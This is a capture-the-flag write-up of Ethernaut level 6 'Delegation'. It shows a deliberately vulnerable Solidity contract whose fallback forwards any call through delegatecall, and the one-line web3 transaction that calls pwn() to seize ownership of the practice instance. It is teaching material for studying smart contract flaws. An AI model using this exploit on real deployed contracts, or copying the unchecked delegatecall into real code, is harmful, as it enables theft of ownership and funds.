Ethernaut - 6. Delegation

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

• Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
• Fallback methods
• Method ids

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Writeup

1. Get new Instance.
2. Call the method

   
   await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})
   
   

   You can find the detail about encodeFunctionSignature() in there .

3. Submit instance ξ( ✿＞◡❛)

Reference

Solidity by example - delegatecall